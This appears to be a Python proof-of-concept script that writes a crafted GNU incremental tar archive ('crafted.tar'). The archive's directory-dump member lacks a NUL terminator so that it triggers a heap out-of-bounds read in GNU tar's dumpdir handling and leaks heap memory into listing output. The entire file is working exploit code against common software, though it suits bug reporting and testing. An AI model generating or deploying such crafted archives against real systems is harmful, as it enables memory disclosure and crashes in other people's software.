#!/usr/bin/env python3
"""
Craft a GNU/OLDGNU incremental-dump tar archive whose GNUTYPE_DUMPDIR
member payload contains NO NUL byte, so get_gnu_dumpdir produces an
xmalloc(st_size) buffer with no trailing NUL -> heap OOB read in
dumpdir_size/dumpdir_ok/list_dumpdir (strlen/while(*p)).

crafted.tar: 16-byte payload — small enough to leak adjacent heap
  garbage into the tar listing output.
"""
import struct, sys, os

def octal(field_len, val):
    s = ("%0*o" % (field_len - 1, val)).encode()
    return s + b"\x00"

def build_header(name, size, typeflag):
    h = bytearray(512)
    name = name.encode()
    h[0:len(name)] = name
    h[100:108] = octal(8, 0o755)
    h[108:116] = octal(8, 0)
    h[116:124] = octal(8, 0)
    h[124:136] = octal(12, size)
    h[136:148] = octal(12, 0)
    h[148:156] = b" " * 8
    h[156:157] = typeflag.encode()
    h[257:263] = b"ustar "
    h[263:265] = b" \x00"
    chksum = sum(h) & 0o777777
    h[148:156] = ("%06o" % chksum).encode() + b"\x00 "
    return bytes(h)

def make_tar(path, payload_size, label="crafted"):
    payload = b"A" * payload_size  # all 'A', no NUL
    blocks = bytearray()
    blocks += build_header("./testdir/", payload_size, "D")
    # data blocks: payload + zero padding to 512-byte boundary
    data_blocks = (payload_size + 511) // 512
    db = bytearray(data_blocks * 512)
    db[0:payload_size] = payload
    blocks += bytes(db)
    blocks += b"\x00" * 1024  # end-of-archive
    with open(path, "wb") as f:
        f.write(bytes(blocks))
    has_nul = b"\x00" in payload
    print(f"wrote {path} ({len(blocks)} bytes); dumpdir st_size={payload_size}, has_NUL={has_nul}",
          file=sys.stderr)

if __name__ == "__main__":
    outdir = sys.argv[1] if len(sys.argv) > 1 else "."
    make_tar(os.path.join(outdir, "crafted.tar"), 16)       # leak heap garbage
    print("done", file=sys.stderr)
